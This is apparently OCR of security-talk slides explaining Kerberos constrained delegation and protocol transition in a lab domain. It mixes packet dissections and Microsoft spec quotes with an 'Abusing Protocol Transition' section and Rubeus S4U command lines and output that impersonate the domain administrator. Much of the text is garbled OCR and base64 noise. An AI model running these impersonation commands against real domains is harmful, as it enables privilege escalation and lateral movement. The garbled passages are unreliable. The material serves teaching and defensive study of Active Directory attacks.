GeM/vpl7wkFsE7qWUY4qixMTbKEGHYxoDR7hXmYGigdu/vi48C9+RwogkPg+(Qs0GY1L7M2TT4haWCzZ8NTCXhIdMa9190The@AAoboGNY /S1B5YZ/
wb1KnVx+25qeuBSN2U3hiw]1hMCiAqrc8FwzP11Lgul F51w+FAYP2T16qiPEcAwzpOgm+DvZ2aeQnBIAIbmDM8ESICIP+XTwZLug84iCue3bZDitl
rVUjZRxbXfgtrlSsagxiMWrD7e6A827LLzjb/WSGvh/8a9iQ1lc3vBMIemWsFFiUYzJ@STVNICBtDAY7(0QGoqa2BGq+qB8KkTZk 14y cAXKcfHDoXFX
s LHAUANPdUwVoYCso035DbnLjaEuPx3k4KNE779c1sUbxWAWHqCOACT8+36MI1ToIvzegXHAAVAFTarARAdp1XUrSP6cZkKs12dDTeXhPPhRGXjNKgt
6SRFpsBbimImiVemADe+ml45uuiwu9cvYPKALEYVOESQcKT8eKU18gM3ud/zQOWKFGKYQIYKCqvFY315T1n9FuZ2RriJR9sub6YSRPTAY99kNWVZbKB
wlUlelV4pbBFz1fQf49aTZRIwfe3MiGued1RGMpjGoWInfcgmmuQYHBaESZxF55I0p0ESww8vcARNZPiCBpaelNtCyihDRPeauEtynXbuOEWS7VQI
oDisQzaXEuuRvbLIpwAWCGdnggP@o+U;jfEBDQIUSFRQsfpQ/tDAhH7wpa]j7x/ Z+GHNxWOy4rHve41UDjGghol swmgGLxvKwlQSM1gnlz0oKigBsMx
cf8E25117jck@g2AuSzXs4ucybudm3MlRaPfFHXE2x9+w6Rb/wb+bvxoBssFQA/eel1U9zuHxXBYqIn6QUW2QWoZDrmxwCuNdDsK5vtjBNNfragC/Q
qIbgfVpKs38pSvQOF5k130EHWg/+M6xHIA PP 3+op3bhBCUSULY36Mhrc24ySVCeMBOrz1+ulVXYa27EC3mrBD2h+2/NLIRRRXLBoHLULMvphkM1
npYSHIZC5j07deQo8yHEoiujV8uWIVNKESXRrIy5ITEBOTZPAxmC / Xe6kDMV8aSxAPp /i+gONKotWWgaZ83prpDGGcuFMpkP37114TJuXGpvCI6Il
la504HMIHcoAMCAQCigdQEgdF9gcdwgcuggcgwgclwgcKgGzAZoAMCARGhEZQQUB VT I tNaX+ihYkbA+XbaVgEOGuxDQVBTVUXFLKNPULICiGjAYoA
MCAQQhETAPGw1hZG1pbm1zdHIhdG9yowcDBQBA0QAAPREYDz Iwtj EwNDIwMj EwODMOLGYRGASYMDIxMDQyMTA3MDgzNFqnERgPM AyMTABM cyMTA

The resul'“ng ST |S Forwardable’ 4AMzRagA4bDENBUFNVTEUuQ@9SUKkIMCOgAWIBAGECcMBobBGNpZnMbEnd1YjAxLmNhcHN1bGUUY29y cA==
thus can be used as an Additional V0
Ticket for S4U2Proxy

[*] Action: Describe Ticket

ServiceName :  cifs/web®1.capsule.corp

ServiceRealm - CAPSULE.CORP

Userhame :  administrator

UserRealm :  CAPSULE.CORP

StartTime : 4/20/2021 11:08:34 PM

EndTime - A/21/2021 9:88:34 AM

RenewTill : A/27/2021 11:88:34 PM

Flags : name_canonicalize, pre_authent, renewable, forwardable
Key lype : aesl/yg cts_hmac_shal

Baseb64(key) :  U8vfItNaX+ihYkb4fXbavg==
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E¥ Administrator: Windows PowerShell

PS C:\Tools: .\Rubeus.exe sdu /tgs:dolGDDCCBgigAwIBBaEDAgEWooIFGDCCBRRhggUQMIIFDKADAZEFOQAbDENBUFNYTEUUQO9SUKIIMC s
OgAwIBAgEcMBobBGNpZNMbENd LY JAXLMNhCHNLbGUUY29y cKOCBMwwgg T IoAMCARKhAWIBAGKCBLoEggS2QWac TMCKem/ 5y rs j 7MGBQ1 cGMK1QNwn
89vdNtGMg9Sljaly+bl3Nw5izh5YWg36plarMtHICTUUUONSQ2dppT7gy2RSPpcSFMpjMQWN6xDZ103dCF3gjevkpFqQViQB5x6kGkG5hHCB0h50p
w20njMPsch@Lb+cjl11kvaMNuGKF2a04V5VDFahwtc/BmwylZAiu3mz3V8Y4deWhv/dyfeKfOpgblWS1t0lhd/I8+oMvUdOoeNY21sASFQMSALNIU
+RgIBbBjemZt7f56W7CcafeH27uSblizhsVPhwKgq50CAbe0j0Y3kGOUbIgHL 6L eGmZDbRXKRQYibcul1zcU5h9ktzznz@gDs+82/nzxUt1glf81P1U
E1P6HCvgF@Udb0Z7nss30PalvITuxqap7RjBCBDeMGdQertjv7/WS5hK6CajWRXKtTqZX0YI5ATIV3mvSu/Ndc9yMBRHp@9mhYShiBYETE 1GeM/vpl7
wkFsE7gqWUYAqixMTbKEGHYxoDR7hXmYGigdu/vi48C9+RwogkPg+QsoGY1L7M2Tf4hallCzZ8NTCXhIdMa9]90Th6@AAchboGNY /51B5YZ /wb1KnVx+
25qeuBSN2U3hiwl1hMCiAqrc8FwzP11LgulF51w+FAYP2T16qiPEcAwzpOgm+DvZ2aeQnBIATbmDm8ESICIP+XTwZ Lug84iCue3bZDWt1rVU;jZRxb
XfgtrlSsagxiMirD7e6A827L Lzjb/WSGvh/8a91Q1c3vBMIems FFiUYzIASTVNICBtDAY7Q0Goqa2BGq+qB8KkTZk14ycAXKc fHDoXFXs LHAUANP
dUwVoYCs03SDbnlL jaEuPx3k4KNE779c1sU6xWAWHQCOACT8+36MI1ToIvzeXHAAVAFTarARAdp1XUrSPecZkKs12dDTeXhPPhRGXjNKqt65SRFpseb
im9mlVecmADe+m145uuiwu9cvYPKATEVOEIQcKT8eKU18gM3ud/ zQOWKFGKYQIYKCqvFYj15TIn9FuZ2RriJR9su6YSRPTAY99kNWVZbKBwRU 1e1VA
pbBFz1fQf49aTZRIwfe3MiGued1RGMpjGeWInT cgmmuQYHBaESZxF55I0p0ESww8vcARNZPiCBpaeliNtCyihDRPeauEtynXbuOEWS7VQIoDisQzaX
EuuRvbL JpwAWCGdnggP@o+UjFEODQIUEFRQs fpQ/tDAhH7wpaj7x/ Z+GHNxWIy4rHvgA1UDjGghol swmgGLxvKwlQSM1gnJlz0oKigBsMxcf8E2511
7jck@g2AuSzXs4ucyb6udm3MIRaPfHxXE2x9+w6Rb /wb+bvxoBssFQA/eel1U9zuHxXBYqIn6QUW2QWoZDrmxwCuldDsK5vtjBNNTragC/QqIbgfvpK

538pSVQOF 5k130EHkG/+MEXHIO PP 3+0p3bhBCUSULv36Mhrc24ySVCeMBIrz L +ulVXYa27EC3mrBD2h+2/NL1RRRXLBOHLULMvphkM1npYSHIZC . .
5407d0Qo8yHE0iujVBUWIVNKEIXRrTy5ITEBOTZPAxmC,/ Xe6kDMVBaSXAPD/ i +20NKotWWgaZ83prpDGGeuFMpkP3714T JuXGpvCI6T 11a504HM A Lau nChlng S4U2Proxy Wlth the
THcoAMCAQCigdQEgdF9gcdwgcugecgwgcUwgcKegGzAZoAMCARGhEgQQUB YT I tNaX+ihYkb4fXbaVgEOGwxDQVBTVUXFLKNPU1CiGjAYoAMCAQGhET .

APGW1hZG1pbm1zdHIhdG9yowcDBQBACQAAPREYDZ Twlj EwNDTuiMj EwODMOWGYRGASYMDT xMDQyMTA3MDE ZNF gnERgPMj AyMTAGM] cyMT AdMzRagA4 p revious ST
bDENBUFNVTELINASSLIKLIMCNeMATRAGECMRabRGNNZoMhEnd 1ViAvl mMhoHMIhGHUY2Ovcl—— fucer-weh@14 /rcd:987af3a0171733109da6d

e322a@ffcdc  /msdsspn:cifs/sql@l.capsule.corp /altservice:http/sql@l.capsule.corp /nowrap

I A We obtain a Forwardable and
i Al L i By ARl legitimate ST for Sqgl01

[*] Action: S4U

[*] Using rc4_hmac hash: 987af3a@17f733f@9dabde322abffcdc
[*] Building AS-REQ (w/ preauth) for: 'capsule.corp\web81%’
[+] TGT request successful!

[*] base6d(ticket.kirbi):

doIEzjCCBMgeAwIBBaEDAEEWooIDSTCCA+FhggPdMIID2aADAEEFoQAbDENBUFNVTEUUQ@ISUKThMB+gAwIBAGEYMBYbBmtyYnRndBsMY2F
wc3VsZS5jb3IwodIDNTCCASmgAWIBEqEDAgECo0IDiwSCAAT zz TwwoudRwHE+omg6tgZ L toWSPqOuHI1QpCITUOSYHKN+Bj88wIldWZuQf2e20Xs1
9VaMblLyu2J1Lz5QruXugd2fGa8IroEL 7tCTP1PNwmfhBeWSMOzfgD5LkKr /24cbTMIkNrVPX9VA7SKwPNeUxB81yP+HYqWRb2zARFd1hp@jFyRgTp

CA AN A2 N m AT T VL AT AT AT LA I TART L AT e e T i AP T T T T N AT A T AT MV TTR TR A AR T
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E¥ Administrator: Windows PowerShell

[*] Action: S4U

[*] Loaded a TGS for CAPSULE.CORP\administrator

[*] Impersonating user 'administrator' to target SPN 'cifs/sgl@l.capsule.corp’
[*] Final ticket will be for the alternate service 'http/sql®l.capsule.corp’
[*] Using domain controller: dc®l.capsule.corp (10.11.3.5)

[*] Building S4U2proxy request for service: 'cifs/sql@l.capsule.corp’

[*] Sending S4U2proxy request

If desired, thesnameof the Ticket [+] SAU2proxy success!

[*] Substituting alternative service name "http/sql@l.capsule.corp’

can Eils;() t)Ea E;le)f;titljt63(j as it iS; ir] [*] basebd(ticket.kirbi) for SPN 'http/sql@l.capsule.corp/sql@l.capsule.corp’:

F)|61Ir]t63)(t Eir](j tr]Ee -r](:L(EEt rEErT]EiIr]S; doIGkjCCBo6gAWIBBaEDAZEWooIFizCCBYdhggWDMIIFf6ADAZEF0QAbDENBUFNVTEUUQ@9SUKIAMDagAwIBAQEVMCObF2hodHAYvC3FsMDE
I-(j uY2Fwc3VsZ55]b3IwGxd zchwwMS 53 YXBzdhx 1 LmNvenCjggUsMITFKKADAgES oQMCAQWi gglaBITFFvziX5+40MVANL aXQpISKyUv7zVD+6kgniF2
vali 1v8bzrnv/EVa+VuwtXCzz3Mf8mdnyEhujI0A5Yu93z91zd0Y/11powICxdYHs01688b0Pafc1TPA+AwUoPMiGeMxaqTz@1T1IT73GItkZBQFhmFKd7

/3T3S0DQHiINB1hOCWpUigRXsERt6GZuv2kRmYN,/ofzilzVXc1ebrO0iW3UVY9jA3 sFX8VwrNNswSQwaTd 7/MYuFrynl jpejdbdZQ579412VsDNkzoK
m/cKC7gevZwZWkKResHxkYvbkblLUUSwWLCjgRWPAGET 18M5X1hK9pE9RgNuHgCzW8YVBBpHufGME7Qpvg7VPbubbcvYQuvlinzBn@pViZkTUZuDXmoi
PWIwY9Pj5nET/5PcAC1zCg@MMTEST 3Ymy4+0djenVSDrLQNIglndPnu/UP15GXM10z197MGel iaSYem@Vd3cKCz341759FBPFGjyVNybR8vSLxvo
SNQJGjcG/ k7gbF iHEQ+EgDwgBBpGnquw8HBZOVX /Gluwg2BaAdWITFUIUNLdkVWxj cOb6uI3IFYI1uh42CPSYpI/i34ejhILOn4G1haXp99mfI5/iH
FRTAPELF+fWERBIMdUedOHa®25w13kCIiFHV/X009uPrhsyl11+f9bcMrNC1k4AIb/m/d9j4kC11+prdL5LIzNidihsXZ3tXmx+yXqcAS6BLRACWBG
hESPwT20eAUIN1kYyISuYrE8cpZTGf IWsGleq8hKiWs5C5FeuwPsqdgBaXd3a+pSoCUuEoUSE/E8gtNMgMenunenUdio2KkdUCSrDf imPK38FgCD5t
TwwUGxdfqFIG5atHZy cltFelW@dnbY5wdih+Xwj7PyXDNAe1FgvbmUmMT ax6dRmA/ddk9BMem1 D XDXa6Amfwo8PuKelWc8YUAKTVeGmxE1jaofoSzhb
FimzNtRFOcpQWisstjt7kMcuzMXLs jnrZYa8gCZpnQJymESRjivyaotUlgcgjBNcBwrug9BGBOptUUWAG18WenEZTXbn6kGD15]157vBm39BNpm-+n
u37Ub1QypSyow/ ryrWKF5Ex]1igvO+rtYYtLWD1 1ywAh{s9UmM6 7 TwYnz6Z0EbYB1ZCKSPWHbkrc c XKWbAOOrAfY3rEx2rSyP177asHfHWAGS /33Kp
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What if the client could only authenticate using NTLM?

www.crummie5b.club



Protocol Transition
AShortway of sayingg L R2y QU OFNBb K2g UKS Of ASyd

AIn Kerberos Onlythe service could invoke S4U2Proxy usirtg) 3 SSIT la<sd
4F RRAGAZ2YIE GAOTS ¢

AWhat happens when the service wants to invoke S4U2Proxy but does not have an
al RRAGAZ2ZY It UGAO]SuUuE€K
A Spoiler S4U2Self to the rescue!

https://docs.microsoft.com/erus/previousversions/mspn-p/ff650469(v=pandp.10)?redirectedfrom=MSDN www.crummie5b.club



Protocol Transition (cont.)

The webapp now only supports NTLM

Providers

Enabled Providers:

v

Select a provider from the list of available providers and click Add
to add it to the enabled prov

Available Providers:

Cancel
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Protocol Transition (cont.)

WEBD1 Properties ?

Security Dial-n Attribute Editor

*assword Replication

A Protocol Transition sets the
TRUSTED TO_AUTH_FOR_DELEGATIOAC setting

A Services to which Web01 can delegate to are included within
its msDS-AllowedToDelegateTo  attribute

EN Administrator: Windows PowerShell

PS C:\> Get-DomainComputer webel userAccountControl , samAccountName ,msDS-AllowedToDelegateTo | f1 [
[] Expanded

samaccountname : WEBO1$

useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_ AUTH_FOR_DELEGATION

msds-allowedtodelegateto : {cifs/sql@l.capsule.corp, cifs/SQLO1}

Cancel
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Logging i n é

~ e
L Waiting for sharebrowser.c...

Windows Security
iexplore

Connecting to sharebrowser.capsule.corp.

vegeta_sa

Domain: CAP

I:l Remember my credentials

www.crummie5b.club



IT WORKS!

e arebrowser.capsule.corp/CS.aspx = & || Search...

= C s A er!
= Share Browser!

Working with Sql01 - \\sql01.capsule.corp\ShareSupport\

Browse...

FleName | | |
crummied club Dowmnl
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Protocol Transition (cont.)

NTLMAuthentication

3.112 3. 406 |GET / HTTP/1.1 , NTLMSSP_NEGOTIATE
3.12 3. /1.1 401 Unauthorized , NTLMSSP_CHALLENGE (text/html)
3.112 3 / HTTP/1.1 , NTLMSSP_AUTH, User: CAP\vegeta_ sa S4U2Self
3.12 3 1586 TGS-REQ TGT +
3.5 3 1566 TGS-REP Authenticator +
3.12 3 2658 Principal
3.5 3 1805 |TGS - REP
3.12 3 2068 Session Setup Reql
3.10 3 314 Session Setup Response
3.12 3 4179 HTTP/1.1 200 OK (text/ntml)

10.11.3.112 - CLIENT S4U2Proxy

10.11.3.12 - WEBO1 TGT +Authenticator + ST

10.11.3.10 - SQLO1

10.11.35 - DCO1 HTTP Response Listing \ \ sglO1.capsule.corp \ ShareSupport\

www.crummie5b.club



Vegeta

NTLMAuth

Secret Key

Session Key

, TS | Timestamp

Auth| Authenticator

L
_|

4
=

I-H
=
)
# || e
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s - TeT,
“ Auth Web01$

- Vegeta

Vegeta

Secret Key

B

Auth[ —*_, |Auth HTTP CIFS
Session Key

; ’ TS | Timestamp

Auth| Authenticator
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Web01$ Ticket 0 TGS REQ (S4U2Self)

¢DC¢

AS4U data structures
A Vegetais the target!

ATarget SPN:
AWeb01 itself (web01$)

- Kerberos
» Record Mark: 1528 bytes
~ tgs-req
pvno: 5
e msg-type: krb-tgs-req (12)
dzu -~ padata: 3 items
~ PA-DATA PA-TGS-REQ
~ padata-type: KRB5-PADATA-TGS-REQ (1)
~ padata-value: 6e8204a4308204a0af03020105a10302010ea20703
~ ap-req
pvno: 5
msg-type: krb-ap-req (14)
Padding: ©
» ap-options:

b !

00000000

» ticket
» authenticator

+ PA-DATA
+ PA-DATA
~ req-body
Padding: 0
kdc-options: 40810000
realm: CAPSULE.CORP
sname
name-type: KRB5-NT-PRINCIPAL (1)
= sname-string: 1 item
SNameString: web0l$
till: 2021-04-14 20:42:25 (UTC)
nonce: 359183541
r etype: 5 items

PA-54U-X509-USER
PA-FOR-USER

www.crummie5b.club



~ PA-DATA PA-S4U-X509-USER
~ padata-type: KRBS5-PADATA-FOR-X509-USER (130)
~ padata-value: 3056a03b3039a00602041568b4h5al1163014a00302010aal...

~ user-id
nonce: 359183541

= cname
name-type: kRB5-NT-ENTERPRISE-PRINCIPAL (10)

The Client did not send any ST, but the
~ name-string: 1 item

service at least knows his identity -
(Vegetg

Padding: @
options: 20000000

~ checksum
cksumtype: cKSUMTYPE-HMAC-GHA1-96-AES-256 (16)

checksum: 4714dc247bc7ca4df

= PA-DATA PA-FOR-USER
-~ padata-type: KRB5-PADATA-FOR-USER (129)
~ padata-value: 3052a0163014a00302010aal@d300blb0956656765746157...

* name

name-type: kKRB5-NT-ENTERPRISE-PRINCIPAL (10) R -
WebOlrequestsa SIS Ul Qa

~ name-string: 1 item

:
Forwardable ST for itself
using S4U2Self

= cksum
cksumtype: cKSUMTYPE-HMAC-MD5 (-138)

checksum: d5sf6edla3?ae749al160956642eb936e4
auth: Kerberos

https://docs.microsoft.com/erus/openspecs/windows_protocols/rasfu/c98bade9cadt4745bd4d-d13926103022 www.crummie5.club



-—> 4 Info

el Web01$
g 15:00

Vegeta Who? — | Vegeta
WebO01 is Trusted
encTGSRe
A | Secret Key
TRUSTED_TO_AUTH_FOR_DELEGA HTTP CIFS 48 | session Key

, TS | Timestamp

Auth| Authenticator
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Web01$ Ticket 0 TGS REP (S4U2Self)

~ Kerberos
v Record Mark: 1508 bytes
-~ tgs-rep
pvno: 5
msg-type: krb-tgs-rep (13)
~ padata: 1 item
v PA-DATA PA-54U-X509-USER

. . crealm: capsule.corp
A DC verifies Web01 is conane U |
TRUSTED TO AUTH_FOR_DELEGATIO e RO T CNTERIRISE-PRINCIPAL (20)

CNameString: Vegeta_sa

- enc-part
R o etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
A ReSpondS witle S 3 SSIT I+ Session Key - cipher: 985ladc851c3a4baf80elfaf7227497876b8FF317a310fF7..

v last-req: 1 item
nonce: 359183541
Padding: ©@
flags: 40al10000
authtime: 2021-04-14 20:07:41 (UTC)
starttime: 2021-04-14 20:27:25 (UTC)
endtime: 2021-04-14 20:42:25 (UTC)
renew-till: 2021-04-21 20:07:41 (UTC)
srealm: CAPSULE.CORP

» sname

» encrypted-pa-data: 1 item
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tkt-vno: &5
realm: CAPSULE.CORP
~ sname
name-type: KRB5-NT-PRINCIPAL (1)
~ sname-string: 1 item
SNameString: webfl$
-~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
kvno: 1
- cipher: 6bfbffee557dee3422be56d5424bc9732199233255a%¢edc2
~ encTicketPart

A The resulting ST is Forwardable thanks to Podiin: 9
TRUSTED TO AUTH FOR DELEGATION e

reserved: False
forwardable: True
forwarded: False
proxiable: False
proxy: False
may-postdate: False
postdated: False
invalid: False
renewable: True
initial: False
pre-authent: True
hw-authent: False
transited-policy-checked: False
ok-as-delegate: False
unused: False
enc-pa-rep: True
anonymous: False

A Invoking S4U2Self without that setting
leads tonon-ForwardableTickets

» key
crealm: capsule.corp
~ cname
name-type: KkRB5-NT-ENTERPRISE-PRINCIPAL (1@)
~ cname-string: 1 item

https://docs.microsoft.com/erus/openspecs/windows_protocols/msfu/ad98268f75b-42c3b09b-9592827706427?redirectedfrom=MSDN WWW.crummie5s.club



3.2.5.1.2 KDC Replies with Service Ticket

If the TrustedToAuthenticationForDelegation parameter on the Service 1 principal is set to:

TRUE: the KDC MUST set the FORWARDABLE ticket flag ([RFC4120] section 2.6) in the
S4U2self service ticket.

FALSE and ServicesAllowedToSendForwardedTicketsTo is nonempty: the KDC MUST NOT set
the FORWARDABLE ticket flag ([RFC4120] section 2.6) in the S4U2self service ticket.<16>

https://docs.microsoft.com/enus/openspecs/windows_protocols/msfu/ad98268kf75b-42c3b09b-9592827706427redirectedfrom=MSDN WWW.crummie5s.club
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CIFS Ticket d TGS REQ (S4U2Proxy)

A2 SonmQa ¢D¢

ATarget SPN:
A cifgsgl01.capsule.corp

A Additional Ticket:
A S4U2SelForwardableST

~ Kerberos
v Record Mark: 2600 bytes

~ tgs-req
pvno: 5
msg-type: krb-tgs-req (12)
I padata: 2 items

" ~ PA-DATA PA-TGS-REQ
-~ padata-type: KRB5-PADATA-TGS-REQ (1)
-~ padata-value: 6e8204a4308204aPafP3020105a10302010ea260703050000...
-~ ap-req
pvno: 5
msg-type: krb-ap-req (14)
Padding: ©

+ PA-DATA PA-PAC-OPTIONS
req-body
Padding: ©
kdc-options: 40830000
realm: CAPSULE.CORP
sname
name-type: KRB5-NT-SRV-INST (2)
-~ sname-string: 2 items
SNameString: cifs
SNameString: sql@l1.capsule.corp
till: 2021-04-14 20:42:25 (UTC)
nonce: 359183528
etype: 5 items
enc-authorization-data
additional-tickets: 1 item
» Ticket

www.crummie5b.club



~ PA-DATA PA-PAC-OPTIONS - req-body
- padata-type: KRB5-PADATA-PAC-OPTIONS (167) Padding: ©

- padata-value: 3009a00703050010000000 v kdc-options: 40830000
= reserved: False

Padding: © v forwardable: True
- flags: 10000000 P forwarded: False
@... .... = claims: False L0 L proxiable: False
proxy: False
allow-postdate: False
postdated: False

.+« «... = branch-aware: False
forward-to-full-dc: False
resource-based-constrained-delegation: True L unused7: False

C e renewable: True

~ additional-tickets: 1 item N unused9: False

= Ticket N unused1@: False
tkt-vno: 5 PP C opt-hardware-auth: False
realm: CAPSULE.CORP AP D unused12: False

- shame R unused13: False
name—type{ kRBS'NT'PRINCIPAL (1) e constrained-delegation: True
~ sname-string: 1 item
= enc-part
etype: eTYPE-AES256-CTS-HMA A1-96 (18)
kvno: 1
-~ cipher: 6bfbffeeb57dee3422be56d54240e9732199233255a9%edc?2...
~ encTicketPart
Padding: ©

canonicalize: True
— ramlact_annnvmalic:®

flags: 40alee00
key

crealn: capsule.corp Ticket is pointingveb01$instead of

cname

] gizz—fype.: kRBS_EI';‘ENTERPRISE_PRINCIPAL (10) HTT%harebrowser. CaDSUIe_Corp

eransited e (proof that S4U2Self was used)

authtime: 2021-04-14 20:07:41 (UTC)
starttime: 2021-04-14 20:27:25 (UTC)
endtime: 2021-04-14 20:42:25 (UTC)
renew-till: 2021-04-21 20:07:41 (UTC)
authorization-data: 1 item

www.crummie5b.club
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, TS | Timestamp
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CIFS Ticket 8 TGS REP (S4U2Proxy)

~ Kerberos

» Record Mark: 1747 bytes
~ tgs-rep
pvno: 5

A DC checks if WebO1 can delegate to Sqlo1 [t
(msDSAllowedToDelegate)o

name-type: KRB5-NT-ENTERPRISE-PRINCIPAL (10)
~ cname-string: 1 item

CNameString: Vegeta_sa

tkt-vno: 5
A DC checks if Additional Ticket is Forwardab| e
name-type: KRB5-NT-SRV-INST (2)
~ sname-string: 2 items
. o . Swémestr%ng{ cif? )
A Responds witle S 3 SSIl'l+ Seéssion Key , e;yc_ﬁgiTEStrlng' LS
~ enc-part

etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
«~ cipher: 2ef3crf994ef6ag492261f7f151erf2e310ed5e5deadeas9r3.

v last-req: 1 item
- o = =, - X
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CIFS Ticket 8 TGS REP (S4U2Proxy)

ALT GKS ''RRAUGAZ2YIE ¢AO1SG 6SNBYQU C2NIBIF NRIOTE S
A Non Forwardable ST + S4U2Proxy in Constrained Delegation = ERROR

A¢CKS Y5/ ¢2dd RQYS UNASR w./5 a I a&aFrttolO]¢
gl a y2i O2y FAIdzZNBRXU
A2S gAft 4SS Y2NB lo2dzi GdKA&a Ay UKS w. /5 asoi

If the service ticket in the additional-tickets field is not set to forwardable<19> and the PA-PAC-OPTIONS [167] ([MS-KILE]
section 2.2.10) padata type does not have the resource-based constrained delegation bit set, then the KDC MUST return KRB-

ERR-BADOPTION with STATUS_NO_MATCH.

https://docs.microsoft.com/erus/openspecs/windows_protocols/msfu/6d76bf103c484e149992-df1bd456455e www.crummie5.club
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AP-REQ (SMB)

- SMB2 (Server Message Block Protocol version 2)
» SMB2 Header
~ Session Setup Request (0x01)
[Preauth Hash: 8b937fc5b8rf278aa859bcde86efadarfde7d25cf855070d7...]
StructureSize: 0x0019
Flags: 0O
Security mode: 6x01, Signing enabled

AARREQ through SMB on behalf of

Channel: None (@0x60000000)

Previous Session Id: 0x0000000000000000
Vegeta Blob Offset: 0x00000058
Blob Length: 1922
Security Blob: 6082077e06062b0601050502a08207723082076ea030302e...
~ GSS-API Generic Security Service Application Program Interface
OoID: 1.3.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation)
~ Simple Protected Negotiation

ACIES ticket + authenticator negrokentnie

mechToken: 6082073006092a864886171201020201006e820711308207..
= krb5_blob: 6082073006092a864886171201020201006e820713608207...
KRB5 0ID: 1.2.8460.113554.1.2.2 (KRB5 - Kerberos 5)
krb5_tok_id: KRB5_AP_REQ (0x0001)
~ Kerberos
pvno: 5
msg-type: krb-ap-req (14)
Padding: O
» ap-options: 20000000

» ticket
» authenticator

www.crummie5b.club
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AP-REP (SMB)

~ SMBZ (Server Message Block Protoco
» SMB2 Header
~ Session Setup Response (0x01)
[Preauth Hash: 8h937fchb8f278aa859bcde86ePadarfderd25cf855070d7..]
A v StructureSize: 0x0009
AP'R E P th roug h S M B » Session Flags: 0x00080
Blob Offset: 0Ox00000048
Blob Length: 184
~ Security Blob: ail81b53081b2afe30ar100alfbO6092a8648827712010202...
~ GSS-API Generic Security Service Application Program Interface
~ Simple Protected Negotiation

AST encrypted With SeSSion key ’ neggggzzgg accept-completed (0)

supportedMech: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
responseToken: 60819706092a86488617120102020200618187308184a003...
~ krb5_blob: 60819706092a864886771201020202006178187308184a003...
KRB5 0OID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
krb5_tok_id: KRB5_AP_REP (0x0002)

AMutual authentication between ez
Web01 a.nd Sq|01 f:rsg—i'ype: krb-ap-rep (15)

-~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
~ cipher: 0820dd7225d2167970P69346ca3drff4772869fce7el33646a..
ctime: 2021-04-14 20:27:25 (UTC)
cusec: 38
» subkey
seq-number: 359114292

www.crummie5b.club
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NTLMAuthentication

3.112 3.12 406 |GET / HTTP/1.1 , NTLMSSP_NEGOTIATE
3.12 3.112 845 HTTP/1.1 401 Unauthorized , NTLMSSP_CHALLENGE (text/html)
3.112 3.12 982|GET / HTTP/1.1 , NTLMSSP_AUTH, User: CAP\vegeta_sa S4U2Self
3.12 .3.5 1586 TGS-REQ TGT +
3.5 .3.12 1566 TGS-REP T
3.12 3. 2658[TGS-REQ Principal
3.5 3 1805 |TGS - REP
3.12 3 2068 Session Setup Reql
3.10 3 314 |Session Setup Response
3.12 3 4179 HTTP/1.1 200 OK (text/html)
10.11.3.112 - CLIENT S4U2Proxy
+ i +
10.11.3.12 - WEBOL TGT +Authenticator ST
10.11.3.10 - SQLO1
10.11.3.5 - DCO1 isti
HTTP Response Listing \ \ sglO1.capsule.corp \ ShareSupport\

www.crummie5b.club



Abusing Protocol Transition

AAn account configured with Protocol Transition can invoke S4U2Self to
Impersonate any user and obtain a Forwardable ST to be used with S4U2Proxy

AEven iimsDSAllowedToDelegateTis configured with specific services of a
service account, you can modify your Forwardable ST to target others from the
same service account

AThe service name of a ST is in plaintext and casubsituted

AExamplecifgsglOl.capsule.corgy, HTTP/sgl01.capsule.corp

www.crummie5b.club



PoC

Rubeus first requests a TGT on

behalf of Web01 usin
specified credentials

https://github.com/GhostPack/Rubeus

the

EN Administrator: Windows PowerShell

(__\ | |

oy e

| 72 [ N S B ) O VA
[ Y U I U B T [ I I B
I/ I L G
v1.6.1

[*] Action: S4U

[*] Using rcd hmac hash: 987af3a@17+733109da6de322abffcdc
[#] Building AS-REQ (w/ preauth) for: ‘capsule.corp\web81%’
[+] TGT request successful!

[*] base6d(ticket.kirbi):

doIEzjCCBMggAwIBBaEDAgEWo0ID5TCCA+FhggPdMIID2aADAgEFoQAbDENBUFNVTEUUQ@9SUKTIhMB+gAWIBAGEYMB
YbBmtyYnRndBsMY2Fwc3VsZS57b3JwodIDNTCCASmgAWIBEqEDAZECo0IDIWSCALesVSAPmBa0F jms /AyAe2YXaxyRRcaobl]
BN/POM25Vi+ulEc@L 319tz d+LM2/2007zugABWGNpSwy@KX3N9+Uet0o04EyEpOBPvAQbD2aEgxq78MMw2Rz130+bSybPBd

TCOyMSOh4036M/vDF82qpbISod3NiejyalbMXALLLVGIBBFVLOLYAWYxvxxzBUzKzeaNzMZq,/k9090ATebk+EC3b1AjZulzh
xvfSsjokefCcjg/xYk@g9xjsDpr3DAMUgE2]10559GwmywaDB908RRsSVK6IrjPGKVEYQUTWQMoRvN18VenmP3Nal fZQ27jAdU
EXHhtYMr951kzn0iHil 3v7/MvOnXbkznITT+FMxATR7B1qL j4IVgs0/j4yL1V3epzcBmZbFMIW++gnP /V2sPYTPhs851SjeX
6lixSAgMacQe6]lwgMjQTGUREWNOdysHBFeDajZav4B@c3ilbbZ5N1pERWGr+]ANNIXG1uWXFAH5r3+has4Vzjad41980 ] viwthb)

CVMIEhECA 24+ A TChNalUn 2 IV AR I D TRARUCLI -~ A VE sV ha Wik 2k 2 TEORNAA o T T T2 o Taml Lo A TUnbh ENIEC T ALV Vs C AL
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EN Administrator: Windows PowerShell

[*] Action: 54U

[*]1 Usine domain_controller: dc@®l.capsule.corp (16.11.3.5)
[*] Building S4U2self request for: 'web®1$@CAPSULE.CORP'
[*] Sending S4U2self request

[+] S4U2self success!

*1 Got TGS f "administrator’ to "web@®l1$@CAPSULE.CORP* E
H et € It then invokes S4U2Self to
obtain a ST in the name of
doIFWDCCBYSgAwIBBaEDAgEWooIEZFCCBGIhgeReMIIEWGADAEEF0Q4bDENBUFNYTEUUQOISUKI TMBGEAWT Administrator

BAaEKMAgbBnd1Y7jAxJKOCBCwwggQooAMCARKhAWIBAQKCBBoEggQWeNdb+75QC3m1KYg9jiziZCodGltlGzIogo//
+2TA6VvVcKjAddmy4A2F6GWNGLKO8TepgXIAgFEeH]7A3QL4eD1eTsQ950QtChmpYyXngml xqegZ z9+STk90rN3wIkT
